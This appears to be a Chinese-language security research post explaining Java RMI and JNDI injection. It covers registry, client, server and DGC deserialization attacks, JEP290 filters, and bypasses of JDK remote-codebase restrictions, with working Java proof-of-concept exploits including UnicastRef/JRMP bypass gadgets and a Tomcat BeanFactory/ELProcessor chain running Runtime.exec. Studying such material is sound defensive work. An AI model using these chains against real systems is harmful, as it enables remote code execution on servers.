前言 JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口 ,但是jndi的参数不一定可控,在实战中jndi常常被用来上传我们的后门或执行自定义恶意代码,如fastjson的com.sun.rowset.JdbcRowSetImpl,也就是服务端攻击客户端
javaRMI Java RMI(Remote Method Invocation)是Java提供的一种远程方法调用机制。它允许在分布式系统中的不同Java虚拟机(JVM)之间进行方法调用。
Client-客户端:客户端调用服务端的方法,并发送序列化的参数信息
Server-服务端:远程调用方法对象的提供者,也是代码真正执行的地方,执行结束会序列化传输给客户端执行的结果,因此在Clinet看来,就好像是在本地执行了这个方法
当client想调用server上方法的时候,就可以调用stub上的相同的方法,但是stub里面只有和网络相关的处理逻辑,并没有对应的业务处理逻辑。客户端和stub对话,stub和skeleton对话,skeleton和server对话,server执行真正的方法
RMI Registry Registry-注册中心:其实本质就是一个map,相当于是字典一样,用于客户端查询要调用的方法的引用,在低版本的JDK中,Server与Registry是可以不在一台服务器上的,而在高版本的JDK中,Java中对于RMI Registry做了限制,只有源地址为localhost时才能调用bind、rebind(bind+unbind)、unbind等方法
虽然Server与Registry大概率是在同一台机器上,但是和client和server一样也是使用Stub 与 Skel 之间的通信模式,只不过具体被调用的逻辑不用自己编写
调用流程:
Registry通过LocateRegistry.createRegistry
创建一个Registry,在其中创建了一个Skeleton
client和server通过LocateRegistry.getRegistry(ip,port)
在本地创建一个Stub对象 作为Registry远程对象的代理
service通过registry.bind()
将我们要发送的name以及Remote远程对象序列化发送了过去,Registry则据此构造一个stub对象,并添加到this.bindings
路由表中
当客户端使用registry.lookup()
,RMIRegistry 就会返回这个stub给客户端调用
client和server的通讯 Server端往往是开启两个端口的,一个1099端口用于Registry,另一个是随机端口用于与Client通信 调用流程:
Server监听一个端口,这个端口是JVM随机选择的,并将包括IP,开放的随机端口,codebase等在bind时添加到传入的stub对象
RMI Client 远程连接RMI Registry端口,调用通过lookup获得的stub上的方法
调用时会去codebase所指向的地址加载类(urlclass),如果没有找到则说明是远程对象
客户端和服务端建立连接,方法在远程server上执行,并发执行结果返回给stub示例代码 服务端(在实际应用中Server和Registry一般放在一起):1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public interface evil extends Remote { public void evil () throws Exception ; } public class eviltest extends UnicastRemoteObject implements evil { protected eviltest () throws RemoteException { } @Override public void evil () throws Exception { Runtime.getRuntime().exec("calc.exe" ); } } public class rmiserver { public static void main (String[] args) throws Exception { Registry registry =LocateRegistry.createRegistry(1089 ); evil evil = new eviltest(); registry.rebind("evil" , evil); } }
客户端调用服务端接口:
1 2 3 4 5 6 7 8 public class rmiclienr { public static void main (String[] args) throws Exception { evil evil = (evil) Naming.lookup("rmi://10.24.38.47/evil" ); evil.evil(); } }
安全限制 java.rmi.server.useCodebaseOnly 从JDK 6u45、7u21开始,该参数默认值为 true 的情况下,Java虚拟机将只信任预先配置好的codebase,不再支持从RMI请求中获取codebase。
rmi反序列化 java在JEP290中对rmi限制的还是比较狠的,8u241修复之后基本上就没有利用的方式了 Java RMI使用了Java序列化机制来将参数和返回值在客户端和服务端之间进行传输。被传输的对象需要实现Serializable接口,或者使用其他可序列化的方式。
攻击Server端 当客户端需要调用的远程方法的参数中含有Object类,此时Client可以发送一个恶意的对象。由于远程对象是以序列化形式进行传输的,Server端接收的时候势必会对其进行反序列化
攻击Client ● lookup(String) 在RMI过程中,Server会把远程方法执行的结果返回给Client端,如果返回的结果是一个对象,那么这个对象会被序列化传输,并在Client端被反序列化
攻击Registry ● bind(String, Remote) ● rebind(String, Remote) ● lookup(String)
在使用 Registry 时,首先由 Server 端向 Registry 端绑定服务对象,Registry 端会反序列化这个类并存在自己的 RegistryImpl 的 bindings 中,以供后续的查询。我们可以绑定一个动态代理类,在其反序列化时就可以触发恶意调用
RegistryImpl 对象与 JEP290 (jdk>=8u121,>=7u13,>=6u141) JEP290 是 Java 底层为了缓解反序列化攻击提出的一种解决方案,主要做了以下几件事
1、提供一个限制反序列化类的机制,白名单或者黑名单。2、限制反序列化的深度和复杂度。3、为 RMI 远程调用对象提供了一个验证类的机制。4、定义一个可配置的过滤机制,比如可以通过配置 properties 文件的形式来定义过滤器。
这也是为什么 高版本jdk 有部分能打 jndi,打不了 RMI的原因
高版本 jdk 引入了 JEP 290 策略, 并在 Client 与 Registry 的通信过程中默认设置了 registryFilter,会使攻击者伪装成服务端向注册端发起bind/rebind/unbind的攻击失效
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 private static ObjectInputFilter.Status registryFilter (ObjectInputFilter.FilterInfo var0) { if (registryFilter != null ) { ObjectInputFilter.Status var1 = registryFilter.checkInput(var0); if (var1 != Status.UNDECIDED) { return var1; } } if (var0.depth() > 20L ) { return Status.REJECTED; } else { Class var2 = var0.serialClass(); if (var2 != null ) { if (!var2.isArray()) { return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED; } else { return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED; } } else { return Status.UNDECIDED; } } }
bypass 8u121-8u231 1.RemoteObject 可以通过白名单的检测被bind 2.RemoteObject 在Registry处反序列化时,可以通过内部的 UnicastRef 对象发起 JRMP 请求连接恶意的 Server
1 2 3 4 5 6 7 Registry registry = LocateRegistry.getRegistry(9999 ); ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint("localhost" , 8888 ); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false )); RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref); registry.bind("pwn" , handler);
同时这个也是 ysoserial 原生反序列化打jrmp的链子(直接反序列化UnicastRef,参考之前写的weblogic2017那个cve )
过滤: 在 JEP290 加入的sun.rmi.transport.DGCImpl#checkInput逻辑也与之前相同,会拦截payload的最终执行
Bypass 8u231~8u241 利用动态代理触发不走反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 static UnicastRemoteObject getPayload () throws Exception { ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint("localhost" , 9999 ); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false )); System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles" , "true" ); RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref); RMIServerSocketFactory factory = (RMIServerSocketFactory) Proxy.newProxyInstance( handler.getClass().getClassLoader(), new Class[]{RMIServerSocketFactory.class, Remote.class}, handler ); Constructor<UnicastRemoteObject> constructor = UnicastRemoteObject.class.getDeclaredConstructor(); constructor.setAccessible(true ); UnicastRemoteObject unicastRemoteObject = constructor.newInstance(); Field field_ssf = UnicastRemoteObject.class.getDeclaredField("ssf" ); field_ssf.setAccessible(true ); field_ssf.set(unicastRemoteObject, factory); return unicastRemoteObject; }
两种绕过方法的比较
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 客户端发送数据 --> ... RemoteObject#readObject --> StreamRemoteCall#releaseInputStream --> ConnectionInputStream#registerRefs --> DGCClient#registerRefs --> DGCClient$EndpointEntry#registerRefs --> DGCClient$EndpointEntry#makeDirtyCall --> DGCImpl_Stub#dirty --> //8u231的过滤点 UnicastRef#invoke --> (RemoteCall var1) StreamRemoteCall#executeCall --> ObjectInputSteam#readObject --> "pwn" 客户端发送数据 --> UnicastRemoteObject#readObject --> UnicastRemoteObject#reexport --> UnicastRemoteObject#exportObject --> overload UnicastRemoteObject#exportObject --> UnicastServerRef#exportObject --> ... TCPTransport#listen --> TcpEndpoint#newServerSocket --> RMIServerSocketFactory#createServerSocket --> Dynamic Proxy(RemoteObjectInvocationHandler) RemoteObjectInvocationHandler#invoke --> RemoteObjectInvocationHandler#invokeMethod --> UnicastRef#invoke --> (Remote var1, Method var2, Object[] var3, long var4) StreamRemoteCall#executeCall --> ObjectInputSteam#readObject --> "pwn"
攻击 DGC 伴随着 RMI 服务启动的还有 DGC 通信,DGC作用是跟踪stub的使用,检查它们是否还被其他对象引用,如果没有,则认为该远程对象已经成为无用对象,可以被垃圾回收器回收 Server 端启动 DGCImpl,在 Registry 端注册 DGCImpl_Stub ,Client 端获取到 DGCImpl_Stub,通过其与 Server 端通信,Server 端使用 DGCImpl_Skel 来处理。 由于 DGC 通信和 RMI 通信在 Transport 层是同样的处理逻辑,只不过根据 Client 端写入的标记来区分是是由 RegistryImpl_Skel 还是 DGCImpl_Skel 来处理,因此我们可以使用 DGC 来攻击任意一个由 JRMP 协议监听的端口,包括 Registry 端监听端口、RegistryImpl_Stub 监听端口、DGCImpl_Stub 监听端口。
java jndi JNDI就是一组API接口。每一个对象都有一组唯一的键值绑定,将名字和对象绑定,可以通过名字检索指定的对象,而该对象可能存储在RMI、LDAP、CORBA等等,也就是说jndi简化了客户端的操作,只用协议解析就可以调用不同的方法了
Reference
在JNDI服务中,RMI服务端除了直接绑定远程对象以外,还可以通过Reference 类来绑定一个外部的远程对象,这个远程对象是当前名称目录系统之外的对象,绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。
使用 使用JNDI解析调用远程RMI方法 客户端 1 2 3 4 5 Context namingContext = new InitialContext(); EvilObject remoteObj = (EvilObject) namingContext.lookup("rmi://localhost/refObj" ); String result = remoteObj.sayHello();
服务端 1 2 3 4 5 6 Registry registry = LocateRegistry.createRegistry(1099 ); Reference refObj = new Reference("Evil" , "EvilObject" , "http://127.0.0.1:8000/" ); ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj); registry.bind("refObj" , refObjWrapper);
Reference 在Java中,javax.naming.Reference类是用于描述一个命名对象的基本信息的。该类提供了一种通用的方式来表示对象在一个JNDI上下文中的引用。Reference对象可以被绑定到一个JNDI上下文中,然后通过名称进行检索并返回。
Reference对象通常包含了以下信息: 对象的类名 工厂类的类名 工厂类需要的参数 其他附加信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 protected String className;protected String classFactory = null ;protected String classFactoryLocation = null ; public Reference (String className, String factory, String factoryLocation) { this (className); classFactory = factory; classFactoryLocation = factoryLocation; } public String getFactoryClassName () { return classFactory; } public String getFactoryClassLocation () { return classFactoryLocation; }
ReferenceWrapper ReferenceWrapper只是对Reference进行简单的包装
1 2 3 4 5 6 7 8 9 10 11 12 public class ReferenceWrapper extends UnicastRemoteObject implements RemoteReference { protected Reference wrappee; private static final long serialVersionUID = 6078186197417641456L ; public ReferenceWrapper (Reference var1) throws NamingException, RemoteException { this .wrappee = var1; } public Reference getReference () throws RemoteException { return this .wrappee; } }
安全限制 该方法在底层实现中不同与rmi,rmi是使用RMIClassLoader.loadClass加载的,而是在Naming/Directory服务中里使用URLClassLoader加载的,因此不受 java.rmi.server.useCodebaseOnly 系统属性的限制
在6u141,7u131,8u121之后,新增了 com.sun.jndi.rmi.object.trustURLCodebase 选项,默认为false,禁止RMI和CORBA协议通过RMI从远程的Codebase加载Reference工厂类,该更新阻止了RMI和CORBA触发漏洞 随后在6u211,7u201.8u191中,又新增了 com.sun.jndi.ldap.object.trustURLCodebase 选项,默认为false,禁止LDAP协议使用远程codebase选项
使用本地的Reference Factory类绕过高版本限制 JNDI底层实现 这里以rmi的lookup方法 为例
RegistryContext com.sun.jndi.rmi.registry.RegistryContext 是Java中的一个类,实现了JNDI API提供的上下文接口(javax.naming.Context),用于访问RMI注册表中的对象。 该类是JNDI API的一个具体实现,允许客户端通过JNDI API访问远程RMI注册表,并使用像本地文件系统一样的方式来查找和绑定对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 public Object lookup (Name var1) throws NamingException { if (var1.isEmpty()) { return new RegistryContext(this ); } else { Remote var2; try { var2 = this .registry.lookup(var1.get(0 )); } catch (NotBoundException var4) { throw new NameNotFoundException(var1.get(0 )); } catch (RemoteException var5) { throw (NamingException)wrapRemoteException(var5).fillInStackTrace(); } return this .decodeObject(var2, var1.getPrefix(1 )); } } private Object decodeObject (Remote var1, Name var2) throws NamingException { try { Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1; Reference var8 = null ; if (var3 instanceof Reference) { var8 = (Reference)var3; } else if (var3 instanceof Referenceable) { var8 = ((Referenceable)((Referenceable)var3)).getReference(); } if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) { throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'." ); } else { return NamingManager.getObjectInstance(var3, var2, this , this .environment); } } catch (NamingException var5) { throw var5; } catch (RemoteException var6) { throw (NamingException)wrapRemoteException(var6).fillInStackTrace(); } catch (Exception var7) { NamingException var4 = new NamingException(); var4.setRootCause(var7); throw var4; } }
2024/10/21补—从底层看rmi如何获得远程类 这里与绕过jndi高版本限制无关,主要是想分析一下,rmi是如何连接服务器并获得类的,一些底层方法同样是危险的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 public final class RegistryImpl_Stub extends RemoteStub implements Registry , Remote { public Remote lookup (String var1) throws AccessException, NotBoundException, RemoteException { try { RemoteCall var2 = this .ref.newCall(this , operations, 2 , 4905912898345647071L ); try { ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(var1); } catch (IOException var17) { throw new MarshalException("error marshalling arguments" , var17); } this .ref.invoke(var2); Remote var22; try { ObjectInput var4 = var2.getInputStream(); var22 = (Remote)var4.readObject(); } catch (IOException var14) { throw new UnmarshalException("error unmarshalling return" , var14); } catch (ClassNotFoundException var15) { throw new UnmarshalException("error unmarshalling return" , var15); } finally { this .ref.done(var2); } return var22; public class UnicastRef implements RemoteRef { public RemoteCall newCall (RemoteObject var1, Operation[] var2, int var3, long var4) throws RemoteException { clientRefLog.log(Log.BRIEF, "get connection" ); Connection var6 = this .ref.getChannel().newConnection(); try { clientRefLog.log(Log.VERBOSE, "create call context" ); if (clientCallLog.isLoggable(Log.VERBOSE)) { this .logClientCall(var1, var2[var3]); } StreamRemoteCall var7 = new StreamRemoteCall(var6, this .ref.getObjID(), var3, var4); try { this .marshalCustomCallData(var7.getOutputStream()); } catch (IOException var9) { throw new MarshalException("error marshaling custom call data" ); } return var7; public void invoke (RemoteCall var1) throws Exception { try { clientRefLog.log(Log.VERBOSE, "execute call" ); var1.executeCall();
NamingManager javax.naming.spi.NamingManager是Java中提供了一些用于JNDI操作的静态方法的类。它位于javax.naming.spi包中,提供了一些静态方法来管理JNDI上下文工厂和对象实例化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 public static Object getObjectInstance (Object refInfo, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception {..... Reference ref = null ; if (refInfo instanceof Reference) { ref = (Reference) refInfo; } else if (refInfo instanceof Referenceable) { ref = ((Referenceable)(refInfo)).getReference(); } if (ref != null ) { String f = ref.getFactoryClassName(); if (f != null ) { factory = getObjectFactoryFromReference(ref, f); if (factory != null ) { return factory.getObjectInstance(ref, name, nameCtx, environment); } ....... }}} static ObjectFactory getObjectFactoryFromReference ( Reference ref, String factoryName) throws IllegalAccessException, InstantiationException, MalformedURLException { Class<?> clas = null ; try { clas = helper.loadClass(factoryName); } catch (ClassNotFoundException e) { } String codebase; if (clas == null && (codebase = ref.getFactoryClassLocation()) != null ) { try { clas = helper.loadClass(factoryName, codebase); } catch (ClassNotFoundException e) { } } return (clas != null ) ? (ObjectFactory) clas.newInstance() : null ; }
基于BeanFactory的任意方法调用( tomcat依赖包<8.5.85) 在高版本中(如:JDK8u191以上版本)虽然不能从远程加载恶意的Factory,但是我们依然可以在返回的Reference中指定Factory Class,这个工厂类必须在受害目标本地的CLASSPATH中。工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个 getObjectInstance() 方法(在之前,远程类加载时用的Class.forName(className, true, cl)可以加载静态代码块,且在前面,后面报错了也没事)
Apache Tomcat中的org.apache.naming.factory.BeanFactory 刚好满足条件并且存在被利用的可能。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import com.sun.jndi.rmi.registry.ReferenceWrapper;import org.apache.naming.ResourceRef; import javax.naming.StringRefAddr;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry; public class RMI_Server_ByPass { public static void main (String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099 ); ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor" , (String)null , "" , "" , true , "org.apache.naming.factory.BeanFactory" , (String)null ); resourceRef.add(new StringRefAddr("forceString" , "faster=eval" )); resourceRef.add(new StringRefAddr("faster" , "Runtime.getRuntime().exec(\"calc\")" )); ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef); registry.bind("Tomcat8bypass" , referenceWrapper); System.out.println("Registry运行中......" ); } }
ResourceRef ResourceRef是Java中javax.naming.Reference的子类之一,它用于表示JNDI上下文中资源的引用。ResourceRef可以用来描述连接到数据库、消息队列等资源的引用。
ResourceRef对象通常由应用服务器(如Tomcat、WebLogic等)或其他JNDI容器自动生成,并与JNDI上下文相关联。在JNDI目录中,ResourceRef对象的名称通常映射到资源的JNDI名称。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 public class ResourceRef extends Reference { public ResourceRef (String resourceClass, String description, String scope, String auth, boolean singleton, String factory, String factoryLocation) { super (resourceClass, factory, factoryLocation); StringRefAddr refAddr = null ; if (description != null ) { refAddr = new StringRefAddr(DESCRIPTION, description); add(refAddr); } if (scope != null ) { refAddr = new StringRefAddr(SCOPE, scope); add(refAddr); } if (auth != null ) { refAddr = new StringRefAddr(AUTH, auth); add(refAddr); } refAddr = new StringRefAddr(SINGLETON, Boolean.toString(singleton)); add(refAddr); } protected Vector<RefAddr> addrs = null ; public void add (RefAddr addr) { addrs.addElement(addr); } public RefAddr get (String addrType) { int len = addrs.size(); RefAddr addr; for (int i = 0 ; i < len; i++) { addr = addrs.elementAt(i); if (addr.getType().compareTo(addrType) == 0 ) return addr; } return null ; } public Enumeration<RefAddr> getAll () { return addrs.elements(); } protected String addrType; public StringRefAddr (String addrType, String addr) { super (addrType); contents = addr; } public String getType () { return addrType; } public Object getContent () { return contents; }
org/apache/naming/factory/BeanFactory.java org.apache.naming.factory.BeanFactory 类,这个类的getObjectInstance() 会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 public class BeanFactory implements ObjectFactory { public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?,?> environment) throws NamingException { if (obj instanceof ResourceRef) { try { Reference ref = (Reference) obj; String beanClassName = ref.getClassName(); Class<?> beanClass = null ; ClassLoader tcl = Thread.currentThread().getContextClassLoader(); if (tcl != null ) { try { beanClass = tcl.loadClass(beanClassName); } catch (ClassNotFoundException e) { } } else { ..... Object bean = beanClass.newInstance(); RefAddr ra = ref.get("forceString" ); Map<String, Method> forced = new HashMap<>(); String value; if (ra != null ) { value = (String)ra.getContent(); Class<?> paramTypes[] = new Class[1 ]; paramTypes[0 ] = String.class; String setterName; int index; for (String param: value.split("," )) { param = param.trim(); index = param.indexOf('=' ); if (index >= 0 ) { setterName = param.substring(index + 1 ).trim(); param = param.substring(0 , index).trim(); } ..... try { forced.put(param, beanClass.getMethod(setterName, paramTypes)); } ..... Enumeration<RefAddr> e = ref.getAll(); while (e.hasMoreElements()) { ra = e.nextElement(); String propName = ra.getType(); if (propName.equals(Constants.FACTORY) || propName.equals("scope" ) || propName.equals("auth" ) || propName.equals("forceString" ) || propName.equals("singleton" )) { continue ; } value = (String)ra.getContent(); Object[] valueArray = new Object[1 ]; Method method = forced.get(propName); if (method != null ) { valueArray[0 ] = value; try { method.invoke(bean, valueArray);
抛开各种逻辑限制不谈,这里的利用其实就是通过反射实现任意方法调用,这里要求要调用的类可以通过无参构造,调用的方法的参数数目为一且是String类型